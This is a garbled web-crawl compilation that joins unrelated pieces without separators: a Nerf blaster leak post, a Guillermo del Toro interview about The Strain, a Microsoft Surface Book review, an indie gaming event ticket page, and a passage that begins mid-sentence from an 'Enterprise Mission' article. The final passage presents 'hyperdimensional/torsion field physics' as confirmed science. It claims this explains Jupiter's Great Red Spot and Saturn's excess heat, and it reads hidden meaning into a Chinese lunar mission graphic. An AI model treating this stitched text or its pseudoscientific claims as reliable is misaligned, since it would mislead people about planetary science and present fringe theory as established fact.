Here’s the Stryfe’s box art.
A quick note that this is from Amazon.co.uk, so the range is the ’20 M’ distance.
Pretty much everything from before still stands– it apparently has a barrel extension, a stock point, an underslung rail, and is a mag fed Barricade.
So basically, it’s a flywheel Recon.
Absolutely nothing new to report here, but some cool pictures either way.
A quick note though, the Firestrike /is/ much smaller than a Nite Finder, but the small ‘hook’ at the bottom of the grip gives your fingers enough room to hold it. Pretty neat.
So here’s the Strong Arm, the one that got leaked on Ebay. Not much to report here, but much like the Firestrike, it appears to be smaller. The handle has the same ‘hook’ for your fingers to grip onto though, so it should work out fine either way.
Woah woah woah woah.
Last but not least, the big shocker– the Vortex Diatron. I’ll write up a quick post about it so it gets its spotlight, but man, look at that.
Pretty crazy, right? Multishot vortex with an internal magazine; sounds wild.0
You watched The Strain on FX this summer, right? If not, according to show creator and executive producer Guillermo del Toro, you missed out on a very “gazpacho” show because, as del Toro explained, “a good gazpacho is a perfect summer refreshing concoction,” and I’d have to agree. It’s good fun trying to track the spread of the infection after the “dead plane” lands at JFK and an absolute blast to watch our heroes do what they can to stop vampires from sucking New York City dry using projectile stingers.
But just because The Strain really is kind of like gazpacho in the summer doesn’t mean it can’t be a good winter binge watch as well. The Strain season 1 hits DVD and Blu-ray on Tuesday, December 2nd and soon after that, we’ll all get a little holiday vacation time, so why not use it to play catch-up before The Strain returns next summer? If that sounds like a good plan and you haven’t watched the show yet, it might be best to do that before reading this interview because del Toro did drop quite a few hints regarding what’s to come in season 2. Check out what he told me about where Eph (Corey Stoll), Eldritch Palmer (Jonathan Hyde) and more are heading after the jump. And just in case you missed it, click here for what del Toro had to say about Pacific Rim 2 as well. [Last Warning: There are season 1 spoilers in this interview!]
Question: First off, can you just give me a little update on season 2 and tell me how far along you guys are right now?
GUILLERMO DEL TORO: We started shooting last week. We’ve been prepping for about two months. I’m going to, god willing, direct the prologue of the first episode and some second unit and direct the black and white Mexican wrestler B-movie pictures that appear in the season, because one of our characters is a masked Mexican wrestler [laughs], so it will be a lot of fun for me. The pilot is being directed by Gregory Hoblit whom I admire and loved his work for many decades. We start, I think, with a really great episode. We’re about two days away from being done, second and third are in the pipeline, the sets are looking fantastic, we’re doing a lot of new makeup effects, we’re doing a lot of surprises. We’re going a little more off book this season than the last season. The last season went quite a bit off book on the last third, but this season we are introducing new characters even to the books and some characters are going to have really interesting arcs. Eph is going to a much darker place after losing Kelly. It’s a really interesting new world. And it’s great to be back on the show and see everybody back, like a family reunion.
How’d you feel about the reception of season 1? Was there anything that viewers were responding to that surprised you?
DEL TORO: Yeah, people like a lot of the same things that I liked in creating the characters originally. To me, what I think people respond to that is great is that Setrakian in the series is an even better character than Setrakian in the books. In the books he’s sort of a wise man, but in the series he’s a really hardcore badass. This is something Carlton [Cuse] brought into the character. He said Setrakian should be the most charming sociopath. He’s not giving up. He’s capable of sacrificing family and friends at the drop of a hat if that means to kill The Master, and he doesn’t hesitate about losing his own life. That is something that I love that people responded to, and people responding to Eichorst, The Master, Fet, all the characters that are a lot of fun to write or to watch. That’s really rewarding.
I’m a big Fet fan. I’m drinking from a The Strain Pest Control coffee mug right now actually.
DEL TORO: [Laughs] Wash it thoroughly!
[Laughs] I do, every day! How about where everything left off in season 1? I’m sure you had some sort of timeline in mind before you even started shooting season 1, but TV is a different medium and people digest information at a different rate, so did you find that viewers were asking the right questions when the first season wrapped up?
DEL TORO: We knew where we were going and a lot of that required things that needed to sort of try the patience – some of the pacing – things that we knew we wanted to pay off started the season in ways that made them look like something else. For example, Gus is going to grow into a really badass vampire hunter, but we needed to meet him just as a thug in the beginning of the season and then grow him and grow his family’s story until the very poignant moment where he finds his mother alive and turned hidden in the closet, and he decides not to kill her. That’s the beginning of his journey really, and that happened in the last third of the season. But for the longest time in the season you needed to follow him just as a very hardcore henchman with his own really strange set of principles. I think that’s what I thought was interesting to track with the viewers’ response. They would, for example, think that Eph having marital problems was just a trait of a character, sort of a trope, but what is great is in episode 10 and onwards you actually turned Kelly and it becomes really a poignant coda to that custody battle. It becomes a horrifying custody battle [laughs], so to speak. Those are things that needed time and investment from the viewers. Fortunately, for us, we had an incredibly, amazingly loyal viewership.
That’s for sure. I reviewed the entire season and half the fun of reviewing every episode was the conversation and the back and forth in the comments section after.
DEL TORO: Yeah, I think that with a little bit of luck and a lot of work, if we manage to pull off where the books take the characters, there’s going to be a massive, massive third act for the series, you know? We know where we’re heading. Those who read the books know where we’re heading. It’s not going to get pretty. It’s not going to get comfortable. You’re going to see characters that are meant to do well, do terrible things. I think Eph goes to really dark places. One of the characters that I find is going to have a really interesting turn in the second season, for example, is Eldritch Palmer.
He’s fantastic!
DEL TORO: He has a really interesting turn now that he found a little bit of rejuvenation and he’s a little friskier and testier, and he’s not just a willing accomplice of The Master. The second season gives us a lot of possibilities for that.
Before we wrap up, I was hoping to get your opinion on something I’ve been writing about a lot lately. There’s so much talk about shared cinematic universes right now. I just wrote about something James Gunn posted on Facebook where he calls it putting the cart before the horse and a bad business model. During the Crimson Peak set visit you mentioned that you spoke to Donna Langley about possibly doing Frankenstein and that’s part of the Universal monster movie shared universe, so I was wondering what your take on it is.
DEL TORO: I haven’t followed up with Frankenstein so I really have very little to add to that. Right now the only sort of shared universe project I’m working on is Dark Universe for Warners, you know, for DC, which is Swamp Thing, Demon, Deadman, Zatanna. It’s a very different universe. As to the plans to the other one, I wish I had an inside track right now.Talk about chutzpah. The Surface Book is the first notebook Microsoft has ever made, and yet the company boasts that it's the "ultimate laptop." It has reason to be confident. The Surface and Surface Pro are the most successful 2-in-1s yet, and the more premium Surface Book (starting at $1,499) looks to build on that momentum.
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Although it's a clamshell first, this venerable MacBook Pro foe transforms into a tablet with the push of a button, and its magnetically attached pen lets you take notes and draw with high precision. Plus, unlike Apple's 13-inch machine, you can get powerful discrete graphics inside the Surface Book (for $400 above the base price).
With superb battery life and a fantastically sharp display, the Surface Book deserves your attention, but Microsoft didn't quite nail all the fundamentals.
Update 11/10: After our initial review, we upgraded the Surface Book to the latest build of Windows 10, which eliminated many of the bugs we initially reported. However, some issues still remain.
Design: Daring with a Purpose
The Surface Book is definitely not a MacBook clone. Made of a sturdy magnesium, the light silver, squared-off chassis looks like a svelte tank from the side.
The odd-looking fulcrum hinge looks like it has treads, but they're not for show. They expand when you lift the display and contract when you lower it.
This hinge helps to evenly distribute the weight so the touch display doesn't topple over when opened. The Surface Book felt a bit top-heavy at first, but it balanced nicely in my lap.
It works brilliantly, but there's a trade-off; the screen doesn't sit flush with the keyboard when the lid is closed (which could let in crud when the Surface Book is in your bag).
Microsoft should have paid more attention to the front lip. There's wasn't enough room for my thumb underneath the display, making it needlessly difficult to flip open. It wasn't bad once I got used to it, but this isn't something you should have to think about on a $1,500 laptop.
The rest of the design is industrial chic, complete with a subtle but shiny Windows logo on the lid. (I just wish it lit up like the Apple logo.)
As a laptop, the Surface Book is fairly light, weighing 3.34 pounds. The model with discrete graphics tips the scales as 3.48 pounds, which is the same as the 13-inch Retina MacBook Pro. Still, there are other 13-inch systems that are lighter, including the Lenovo Yoga 900 (2.6 pounds) and nonconvertibles such as the Dell XPS 13 (2.7 pounds) and the MacBook Air (3 pounds).
MORE: The Best Laptops
The Surface Book's tablet portion weighs 1.6 pounds, which is also light, given its 13.5-inch display; the 12.9-inch iPad Pro is a nearly identical 1.57 pounds.
The left side of the Surface Book houses two USB 3.0 ports and an SD card reader, while the right side has a Mini DisplayPort and a Surface Connect port, which is for power and connecting to the optional dock. My only other nitpick with the design is that the audio jack is located in the top part of the design, which looked awkward with my headphone wire dangling.
From Laptop to Tablet-Clipboard
It's telling that Microsoft calls the removable slate portion of the Surface Pro a clipboard rather than a tablet. Yes, you can use it to watch movies and play games -- if you want to hold a huge 13.5-inch display -- but it's really designed for taking notes and drawing with the included pen. To enter this mode, you press and hold an eject button on the keyboard and wait a second or two until a "Ready to Detach" notification appears on the screen before you remove the slate.
Other 2-in-1 devices, including the Surface Pro 4, make it easier to switch modes -- you just pull the magnetically connected top and bottom pieces apart. But there's a reason for Microsoft's unique approach here. The discrete-graphics version of this device can't continue to run apps that use the dedicated GPU when detached, because the graphics card is located in the base. (You'll be asked to close those apps.) Makes sense, but it seems like an unnecessary burden for the integrated graphics version of the Surface Book.
The good news? The "muscle wire locks" Microsoft employs are quite secure; When I lifted the system by its display, I felt very confident that it would not detach. If you want to draw on the display with it slightly elevated, you can easily reinsert the display/clipboard so that it's facing away from the keyboard and push it down toward the deck. Or you could give a presentation in this reverse mode if you don't want the keyboard showing.
MORE: Best 2-in-1s (Laptop/Tablet Hybrids)
My biggest issue with the Surface Book in tablet-clipboard mode is that it doesn't automatically pop open the virtual keyboard when you tap on your web browser's address bar or another text field. That's because Microsoft strangely decided to make the default setting to not change to tablet mode when you undock the slate. You should change that, pronto.
Display Quality: Simply Awesome
Sharp, bright and colorful, the Surface Book's 13.5-inch, 3000 x 2000-pixel display is easily one of the best in its class.
A freeze frame of Jared Leto as the joker in a 4K trailer of The Suicide Squad looked frighteningly detailed. I could make out fine veins around his eyes, his subtle stubble and every nook and cranny of his shiny metal grille. I noticed a bit of glare, but in general the Surface Book offered very wide viewing angles.
Registering 387 nits on our light meter, the Surface Book is about as bright as the 13-inch MacBook Pro (389 nits, 2560 x 1600 pixels) and brighter than the Toshiba Radius 12's sharper 4K display (338 nits, 3840 x 2160). The Surface Book also outshines the XPS 13's panel (295 nits, 3200 x 1800 pixels).
The display reproduced 98.5 percent of the sRGB color gamut on our testing and scored 0.57 on the Delta-E accuracy test (0 is best for less errors). That edges out the MacBook (91.2 percent, 1.2 Delta-E) and the XPS 13 (96.6 percent, 5.1 Delta-E). Only the Radius 12 is more colorful (99.8 percent) in this price range, and it's just about as accurate.
The panel also benefits from Microsoft's PixelSense technology, which provided the smoothest and most responsive performance I've experienced on a Windows 2-in-1. Whether I was scrolling, pinching to zoom or slicing watermelons in Fruit Ninja, the Surface Book was silky smooth. My only complaint is that the screen is so sharp that sometimes I lost the small cursor when navigating the desktop.
Positioned on the tablet portion of the device, the speakers on the Surface Book didn't wow. A trailer of Batman v Superman was sufficiently loud, but the strings crackled a bit on max volume.
Keyboard and Touchpad: Good, Not Great
I've typed on hundreds of laptops, and the keyboard on the Surface Book is better than average. The keys deliver a solid 1.5 mm of travel, which is deeper than the Surface Pro 4's 1.4 mm. I typed this entire review on the layout, and it felt quite comfortable. However, the keys felt a bit mushy compared to the 13-inch MacBook Air's snappier keys.
On the 10fastfingers typing test, I averaged 73 words per minute with two wrong words, versus 77 wpm and one wrong word on the MacBook Air.
In terms of special keys, the Surface Book's layout has nearly everything I look for (keyboard backlight, volume, etc.), with the exception of brightness controls. Instead, you have to use the Action Center on the display to toggle the brightness.
The glass touchpad was a mixed bag. Navigating the desktop felt silky smooth as I moved the cursor, but scrolling on websites stuttered slightly (more so in Chrome than Edge). I also needed to turn off right clicking so as to avoid accidental right clicks; I resorted to two-finger clicks instead.
On the plus side, the Surface Book did an excellent job interpreting various gestures, including three-finger tap (for launching Cortana) and three-finger slide (for switching apps).
Pen Input: Made for Artists, Creative Pros
One of the best things about the Surface Book is how Microsoft thought through the pen integration. It just magnetically snaps to the side, so you're much less likely to lose it, and it performs handy shortcuts when you press the button. Click it once, and you'll launch OneNote. Press and hold the button, and you'll be able to speak queries and make other verbal commands to Windows 10's Cortana assistant.
I liked being able to mark up Web pages using the Edge browser and then share them with colleagues or add my annotations to OneNote. Not being the creative type, I also handed the Surface Book off to my wife, who proceeded to sketch an ornate Christmas tree. She liked the fine level of control the pen gave her as she used the Fresh Paint app (complete with 1,024 levels of sensitivity), and she appreciated having an eraser on the back of the pen. But the app froze on her briefly a couple of times. Regardless, she told me that she would use the feature all the time.
I also gave our in-house infographics artist, Karl, a whack at the pen, who used it to draw a detailed illustration of Darth Vader and do some work in Photoshop. He found the drawing experience to be quite good and said that the pen's response was "instant," and the palm rejection "very good." On the other hand, he noticed some lag when using the two-finger resize gesture in Photoshop Elements, and noted that some on-screen items were a challenge to touch. The pen was a must.
Performance: Blazing, But Some Bugs
The Surface Book is one of the first laptops to pack Intel's sixth-generation Intel Core i5 CPU, which gets paired with 8GB of RAM and 128GB of storage for $1,499. We also tested a version with a Core i7 CPU, discrete Nvidia graphics, 16GB of RAM and 512GB of storage for $2,699. However, you can get a discrete GPU starting at $1,899.
Overall, the Surface Book proved a swift performer, whether I was racing around the track in Asphalt 8 or juggling more than a dozen browser tabs while streaming music. But I also noticed some buggy behavior. For instance, on a couple of occassions after a recent update to the latest build of Windows 10, the Surface Book froze up. I had to long press the power button to restart.
On Geekbench 3, which measures overall performance, the Surface Book with integrated graphics notched 6,814. That beats the early 2015 version of the Dell XPS 13 (5,653 with fifth-generation Core i5 CPU) and Toshiba Radius 12 (5,779 with sixth-gen Core i7 CPU). However, the 13-inch MacBook Pro with Retina Display scored a higher 7,113. (Also note that we haven't yet tested the new version of the XPS 13 with a sixth-gen Core CPU.
The Surface Book with discrete graphics and Core i7 hit 7,279 on Geekbench 3, topping the MacBook Pro.
Microsoft's laptop excelled on various real-world tests. For instance, the system took 16.7 seconds to open a 69MB Word document in OpenOffice, and 21.8 seconds when we performed the test again while transferring a large file in the background. The Toshiba Radius 12 took a slower 19.7 seconds and 27.3 seconds, respectively, while the XPS 13 took 18.7 and 36.5 seconds. The 13-inch MacBook Pro was a faster 11 seconds in the first round and 13 seconds in the second round (most likely aided by its zippy flash storage).
We saw even better results when matching 20,000 names and addresses in OpenOffice. The Surface Book took 4 minutes and 17 seconds, beating all of its close competitors. The discrete GPU version of the Surface Book was even faster at 3:42.
The PCIe SSD flash drive in the Surface Book is speedy, too. The system completed our file transfer test with a rate of 318.1 MBps. That's not as fast as the 13-inch MacBook Pro (386 MBps), but it blows away the XPS 13 (154.2 MBps) and Radius 12 (141.4 MBps). Strangely, the SSD in the discrete-graphics Surface Book turned in a slower 283 MBps.
Graphics Performance: Serious (Optional) Nvidia Muscle
The integrated-graphics configuration of the Surface Book comes with an Intel HD 520 GPU, while the discrete-graphics model employs an Nvidia GeForce GPU that is based on the company's Maxwell architecture. The latter chip is designed to deliver better performance in thin-and-light designs, especially in apps like Adobe Illustrator and Lightroom. Gamers should also see a boost in performance.
I didn't notice any lag when dodging cars in the retro-chic Crossy Road game using the integrated GPU on the entry-level Surface Book. In fact, the integrated GPU ably handled World of Warcraft at 1080p on auto settings, notching a perfectly playable 43 frames per second.
However, if you really want to game between meetings, the Nvidia model of the Surface Book is the way to go. The World of Warcraft score on 1080p at auto settings jumped to 82 fps, and it remained playable at native resolution (3200 x 2000 pixels) with 47 fps. The integrated GPU model mustered only 22 fps at the same resolution.
The Surface Book with Nvidia's GPU can also handle demanding 3D titles that the integrated GPU model can't touch. For example, the system notched 46 fps on BioShock (on low at 1080p) and 36 fps on Metro: Last Light (same settings).
On 3DMark Fire Strike, which measures graphics performance, the Surface Book with integrated graphics scored 843, which is on par with the Toshiba Radius 12 and better than the older XPS 13 (743). The discrete GPU model scored a higher 854.
Heat
The Surface Book stayed mostly cool in the lap, but the tablet portion can get toasty. After streaming a Hulu video for 15 minutes, the touchpad, underside and the area between the G and H keys all registered below 85 degrees Fahrenheit, well below our comfort threshold of 95 degrees. But the bottom back of the tablet and right side both surpassed 100 degrees.
Cameras: Get the Job Done
I was looking forward to being able to log in to the Surface Book using just my face via the 5-megapixel front camera and Windows Hello feature. Unfortunately, this face authentication feature wasn't baked into our early review unit, but it should be available at launch. A selfie I took in fairly low light accurately captured my baby-blue shirt, but looked a bit grainy around my face.
To test the rear 8-MP camera, I shot a portrait of two colleagues against a red wall. Sherri's orange sweater looked the right color, though I noticed a fair amount of noise in the image when I zoomed in.
Battery Life: Amazing Endurance
Microsoft claims that the Surface Book's battery can last for 12 hours of video playback, but we saw even better results in the Laptop Mag Battery Test, which involves continuous Web surfing over Wi-Fi on 100 nits of screen brightness. This laptop lasted for a very impressive 12 hours and 29 minutes.
That runtime beats the 13-inch MacBook Pro (12:09), and it more than doubles the endurance of the Toshiba Radius 12 (5:17). The nontouch version of the XPS 13 lasted 11:42, but the touch-screen model fell below the 8-hour mark.
MORE: Laptops with the Longest Battery Life
Don't expect much juice from the Surface Book in tablet mode. The slate by itself lasted just 1:53. We will update this review once we confirm the battery life of the discrete GPU Surface Book.
Universal Apps: Improving Selection
Microsoft estimates that you'll use the tablet/clipboard portion of the Surface Book about 20 percent of the time. And when you do, you'll want to make sure to have some touch-friendly apps.
The Windows Store stocks a lot of titles I use all the time on other platforms, including Facebook, Netflix, The Weather Channel, Candy Crush Soda Saga and Flipboard (which I enjoyed reading in portrait mode).
Because these are so-called Universal apps, they'll also run on other Windows 10 devices, like phones.
Other Universal apps on the way include Facebook Messenger, Instagram, Box and Uber. Still, there are plenty of holes in Microsoft's library. I missed not being able to use Spotify (I downloaded the desktop app instead) or Pandora, and there are no Snapchat or Google apps like YouTube. I used the Edge or Chrome browser for these services.
Bottom Line
While pricey, Microsoft has created a laptop that I could picture myself ditching my MacBook Air for. I love the sharp and colorful touch display, very long battery life and swift overall performance. The keyboard and touchpad are also comfortable, although I wished scrolling were a bit smoother. However, given Microsoft's passion for precision, the awkwardly shallow front lip is an odd misstep on an otherwise impressive industrial design. I also encountered some performance bugs, even after a recent update to the latest build of Windows 10.
For me, the pen is nice to have but not essential for daily computing, because I mostly take notes using a keyboard. But the pen is a transformative addition for those who want to be able to draw, sketch or perform fine photo edits. For power users, the discrete-graphics version of the Surface Book is in a class by itself, offering creative pros and business-class gamers the kind of muscle you just can't get in a 13-inch MacBook Pro.
The Surface Book's $1,499 starting price puts it $200 above the already premium 13-inch MacBook Pro, which is slightly faster (even with an older fifth-gen CPU) and lasts almost as long on a charge. It's up to you to decide if the Surface Book's added versatility is worth the higher cost, which largely depends on how you plan to use the machine. I would prefer a cheaper, lighter Surface Book that isn't detachable, but overall this is a strong first entry for Microsoft.Invalid quantity. Please enter a quantity of 1 or more.
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None BETACADE 001 Jordan Westfall (@Jdub9k) Thursday, July 16, 2015 from 7:00 PM to 11:00 PM (EDT) Washington, DC Ticket Information Ticket Type Remaining Sales End Price Fee Quantity General Admission 4+ hours of Unlimited Gaming for $5? #NoBrainer 14 Tickets Ended $5.00 $0.00 SHOWCASE Your Game *Register before JULY 1ST to get your FREE Shirt!* If everyone brought a game, it would be CRAZY. We have limited power outlets, space, tables, chairs so only 25 spots available to showcase. +You get a free shirt, too. 11 Tickets Ended $15.00 $0.00 PRE-ORDER the Event SWAG T-Shirt (includes admission) **ENDS JULY 1ST** We won't be making enough T-shirts for everyone so if you pre-order one here, you're guaranteed a shirt on event day! ONLY 50 Available for pre-order. After your order is complete please email betacade@yahoo.com with the subject of your first-last name and size symbol example: John Smith - M size **Sizes M-XXL available** ENDS JULY 1st 47 Tickets Ended $20.00 $0.00 Sponsorship Packages Available For sponsorship details please visit: https://www.sponseasy.com/p/betacade 1 Ticket Ended Free $0.00 Share BETACADE 001 Share Tweet Event Details
Please also RSVP on our Meetup page!! Sponsorship Info Contact us: betacade@yahoo.com or use #betacade via a tweet.
BETACADE is small gaming convention/community based in Washington, D.C. It's attendees are given the oppurtunity to be the first to play and test local up'n-coming games. We're inviting independent game developers, designers, and artists to showcase their games, projects, and/or artwork. The event will include hands-on gameplay spanning games from many genres and development phases. Attendees will have oppurtunities to meet with game developers & designers and discuss the process of building their games. A lot of these creators pour their heart and soul into making beautiful interactive experiences and in talking with them, you'll understand just how important playtime is for their games. This will be the first BETACADE and we can't be more excited! We've realized there is a unique and thriving independent gaming community in the DMV region and wanted to create a consistent outlet for creators and players to come together to celebrate this growing artform. The games industry is HUGE and it can be difficult for independent developers to reach their local communities and that's why BETACADE has been produced. It's a channel for creativity, expression, and exposure. Gamers! Bring yourself and some friends for a night of unlimited gaming! These game creators work very hard to make thier game visions to come alive, so be ready to have some fun playing some of the latest games in Washington, D.C.! Developers! Got a game you're working on? Bring it! It doesn't have to be finished, just working enough for someone to enjoy playing some part of it. If you only have a jump button or you're ready to release a new AAA Title (Cough.. Bethesda.. Cough.. Bring FO4). We want to play whatever you got! Also make sure you read the What to Bring section below. PLEASE after registering to showcase your game email betacade@yahoo.com |
ient, ET structures on the Moon...."
* * *
With this as prologue, we at Enterprise watched with eager anticipation (and not a few twinges of nostalgia...) the Chinese "wall-to-wall" media coverage of their first unmanned extraterrestrial landing -- in the pre-dawn hours (Mountain Time) of December 14, 2013 -- vivid memories of our own first-hand experience with the first US unmanned lunar landing (Surveyor I - in the summer of 1966) still indelibly printed on our mind; we had been in New York City that first day of June, all those years ago in 1966, "playing tourist" with a long-time high school friend (which included a spur-of-the-moment visit to the NBC television studios at Rockefeller Center), when Dr. Frank Field had suddenly "drafted" me -- as "Curator of Astronomy and Space Science, at the Springfield Museum of Science..." -- to assist him in NBC's planned LIVE TV coverage, in the wee hours of June 2nd, of Surveyor I's just hours-away historic landing on the surface of "Oceanus Procellarum!"
Watching the live Chinese TV and Internet coverage of Chang'e-3's landing, 47 years after that historic night in 1966 -- interspersed with parallel international "space community" web postings and live comments -- brought all the excitement of that distant Surveyor I experience flooding back (which you can also share, preserved in this vintage BBC audio recording of that amazing early June morning, thanks to Peter Burton in the UK...) -- even as the Chang'e-3 robotic lunar spacecraft deftly arced out of its low orbit of the Moon, almost a half-century later--
To a perfect touchdown on Mare Imbrium's northern plain....
If you noticed something slightly "wrong" with the above graphic -- the last-minute change of landing site -- congratulations; the first indication for Enterprise that the Chinese might be "up to something... interesting"... with Chang'e-3, came days before this totally unannounced, "last minute" landing site switch... in a casual look at the official Chinese government media "Chang'e-3 website" (below).
Can you spot the strikingly familiar feature (certainly to all long-term readers of Enterprise...) that really makes one take a startled "second look" at this particular website?--
And ask:
"Why THAT specific symbolism... on a nominal, unmanned, Chinese lunar mission?"
This, in case you missed it, is what we're referring to (below):
A tetrahedron... deliberately composed of intrinsically-symbolic stars.
What was an obvious tetrahedron (in fact, two -- counting the "perspective view" just to the right on the Chinese web page) -- the geometric centerpiece of our entire Enterprise Mission Hyperdimensional/Torsion Physics Model... having NOTHING to do, in ANY logical fashion, with "an unmanned robotic landing on the Moon"--
Doing on the official Chang'e-3 Mission media website?!
It would only be a matter of days, as Chang'e-3 successfully arced down -- NOT in the "previously planned and widely publicized" lunar landing site, in Simus Iridum... the "Bay of Rainbows"... but hundreds of miles to the East, in Mare Imbrium -- that we would finally know....
* * *
For those who have forgotten just how important a "tetrahedron" truly is -- symbolizing an entire field of "suppressed science" per our ~decades-long, Enterprise milti-disciplinary investigations of "Hyperdimensional Physics" -- here is a quick refresher (a much more comprehensive explanation can be found here, and in Chapter 2 of "Dark Mission: the Secret History of NASA"):
What Enterprise has confirmed over the last ~two decades of these investigations, is an empirical, geometric surface pattern of "planetary/stellar energy upwillings"... all across this solar system... and beyond -- which are PREDICTED by the simple matching of those observed energy disturbances against an interior geometric planetary/stellar model; that model incorporates a virtual "tetrahedron-inside-a-circumscribing sphere standing wave energy pattern"... to predict the "hyperdimensional energy production/distribution" within a given planet/star....
The prime planetary example of this "standing-wave tetrahedral geometry" in this solar system:
Jupiter.
For over four hundred years, the enormous, planet-sized vortex in the southern hemipshere of Jupiter's vast, roiling atmosphere -- a swirling giant atmospheric reddish oval, known as "the Great Red Spot" (GRS - below) -- has been a baffling solar system enigma; likened by early astronomers to "a terrestrial super-hurricane," the GRS' sheer existance on a planet ~5 times farther from the Sun than Earth, and thus with atmospheric energy inputs from the Sun at least 25 times smaller, coupled with the GRS' extraordinary persistence over centuries... even in the face of intense "dissipative forces" from Jupiter's highly turbulent, surrounding atmosphere... have posed fundamental hydrodynamic problems for all planetary theorists seeking to "conventionally" explain the GRS' formation and existence... let alone, in stark contrast to thermodynamically (heat)-driven terrestrial hurricanes... its apparent "immortality," even in Jupiter's super-cold surrounding planetary atmosphere....
Adding to the mystery, this giant planet -- ~10 times the diamater of Earth, with a mass over 300 times our planet... and spinning a little over twice as fast -- appears, in the words of one astronomer many years ago, "more like a failed star... than a conventional planet."
This, because -- to everyone's surprise -- Jupiter was discovered, in the 1960's, to be radiating not quite twice as much energy (heat) into space every second... than it receives from the Sun half a billion miles away!; soon, all the "giant, outer planets" -- Jupiter, Saturn, Uranus and Neptune, to widely varying degrees -- were confirmed to be radiating more internal energy into space... than they each received (as infrared and visible light electromagnetic radiation) from the Sun itself.
Enter "Hyperdimensional/Torsion Field Physics."
"HD Physics" operates on the fundamentally different tenet from these previous theories, that the energies driving Jupiter (and later, it turned out, ALL the so-called "giant planets"), are NOT coming externally from the star (the Sun) located at the center of the solar system... or... from "internal core radioactive decay "... but stem from "hyperdimensional/torsion field energy transfer" INTO the planet--
From other "spatial 'hyper-dimensions.'"
A dimensional energy transfer (in the model), driven by a combination of the giant planet's mass... coupled... with its high-speed rotation/precession.
The Enterprise "Hyperdimensional/Torsion Field Model" not only accounts for Jupiter's observed "anomalous energy output" (as energy is transferred, via Jupiter's massive rotational angular momentum, into Jupiter from this "other spatial dimension"...), the Model also predicted that, if this transfer were occurring, the asociated torsion field forces, acting on the visible atmosphere, must also leave an unmistakable HD/torsion field geometric signature" in Jupiter's vast, rapidly rotating atmosphere--
A gargantuan atmospheric vortex--
Coalesced... "tetrahedrally"... at 19.47 degrees (usually "rounded up" to 19.5) south (the southern hemisphere location determined by the opposite polarity of Jupiter's internal magnetic field compared to Earth's).
A pinned "forever storm" the size of three Earths... spinning eternally over one of the four vertices of an internal "torsion-wave tetrahedron..." -- aligned, by virtue of Jupiter's rotation, with the planetary spin axis (below)....
Where the Great Red Spot has been endlessly... tetrahedrally... spinning--
For at least 400 years.
As noted earlier, Jupiter is NOT the only "giant outer planet" observed to be radiating more energy into space than it receives from the Sun; Saturn is even more dramatic in this regard -- radiating well over twice as much internal energy as it receives.
But, even more dramatic, Saturn exhibts a totally different Hyper-dimensional/Tetrahedral signature in its upper atmosphere, compared to Jupiter -- independently (in addition to the internally radiated energy...) indicative of its own, unique internal "standing wave" hyperdimensional energy dynamic--
A stunning, visible atmospheric "polar hexagon" (below - left - right) appearing in Saturn's northern hemisphere -- apparently mirroring, in Saturn's upper-level frozen ammonia clouds, forever circling the northern pole, the larger, deeper, internal "double standing-wave tetrahedral energy pattern" (graphic - bottom) -- wrapped (in the model...) around the exact rotational axis of the planet!
What makes Saturn even more "unique" -- in allowing us to track down this source of apparent "overunity" internal energy generation/radiation in all the "gas giants"-- is the fact that we finally have a long record of Saturn's "anomalous, excess-energy emission" fluctuations, acquired over several years, to analyze--
Measured directly from Saturnian orbit.
From the US Cassini unmanned spacecraft, at Saturn since 2004, NASA has been able to record over the last ten years -- with unprecedented precision -- these crucial Saturnian "anomalous HD energy vaiations" up-close; a mazingly, when these Saturnian "overunity energy emissions" from Cassini are carefully analyzed, the internal excess energy emissions turn out to be asymmetric inside Saturn; the northern hemisphere -- the one with the bizarre "giant, geometric hexagon" -- is also (as a direct effect?) radiating ~17 % less energy into space, when compared to Saturn's southern hemisphere... where a totally different "atmospheric geometric signature" is also visible, circling that pole--
A huge, planet-sized "permanent hurricane" (also called "the south polar vortex" - below - right)....
Cassini's long-term, close-in infrared measurements of Saturn's "internal IR excess," mirrors earlier measurements made with Earth's largest ground-based telescope, at the Keck Observatory on Hawaii, in 2005; a Keck long-wave IR Saturn image (below - right) is independently verified by Cassini's later, independent, much higher-resolution IR atmospheric heat measurements (below - left).
Confirming that, where on the planet the "south polar vortex" is hemispherically centered (exactly on the planet's rotational axis...), coincides exactly with the visible peak of Saturn's global, internal IR energy emissions!--
The obvious result of the "internal, geometric generation and control" of Saturn's "HD/torsion field" energy source....
All "conventional" known planetary energy reserves -- primordial storage of planetary heat from Saturn's ancient formation; the presence of internal nuclear fission decay sources; gravitational "shrinkage" and conversation of that planetary potential energy into internal kinetic energy (heat); even "gravitational separation" (rain) of some elements (helium) from the overlying material (hydrogen) inside Saturn, releasing frictional energy (heat) -- could NOT account for the two main, closely-observed aspects of Saturn's "excess energy emission":
Its unique, geometric radiation pattern... and, its (now) confirmed variance with time....
N ot only did the "hyperdimensional energy generation" within Saturn leave radically different atmospheric "surface" cloud-geometries in its two separate, global hemispheres (as the internal energy directionally escaped...) -- it also left a unique "absolute brightness [temperature] signature" in each respective hemisphere, to independently mark the energies' assymetric generation and release... as well as its "synchronized" change in absolute and relative brightness over time--
With the observed radiated energy from Saturn being amplified almost 20 percent more in the southern hemisphere... compared to the north; all conventional energy sources, by stark contrast, would release their stored internal energy inside Saturn--
Symmetrically.
And, equally important:
Evenly... over time.
The astrophysical implications of this "assymetric... waxing and waning... internal HD-energy-generation pattern" -- for Galactic objects far more massive than "Jovian-type planets" -- were now also obvious--
Starting with the Sun.
* * *
The Sun (like the majority of similar stellar-massed objects...) undergoes its own periodic (if very slight -- ~0.1 percent) variation in internal energy production, termed "the Solar Activity Cycle"; while too small to have a significant short-term effect on Earth's overall temperature and climate, one visible indicator of this very subtle solar energy varation came from early observers watching the regular appearance and disappearance of a series of "blemishes" on the surface of the Sun--
Called "sunspots."
The irony, of course, is that it was the Chinese who left us the earliest written records, around 800 BC, of seeing "dark spots on the surface of the Sun."
It wasn't until the 19th Century (AD), however, that astronomers finally realized (from examination of European sunspot records extending back through the Middle Ages...) that there was a remarkable (if totally mysterious) "periodicity" to the appearance and disappearance of these dark "solar apparitions"... resolving to an average "sunspot cycle" period of ~11 years (below)....
They also noted that, for equally unknown reasons, not all sunspot cycles were "created equal" (above); some (later termed "large cycles") consisted of a LOT of spots, covering significant solar surface areas; others (termed "small cycles"), contained relatively few spots in the cycle... and those tended to occupy smaller areas when they appeared.
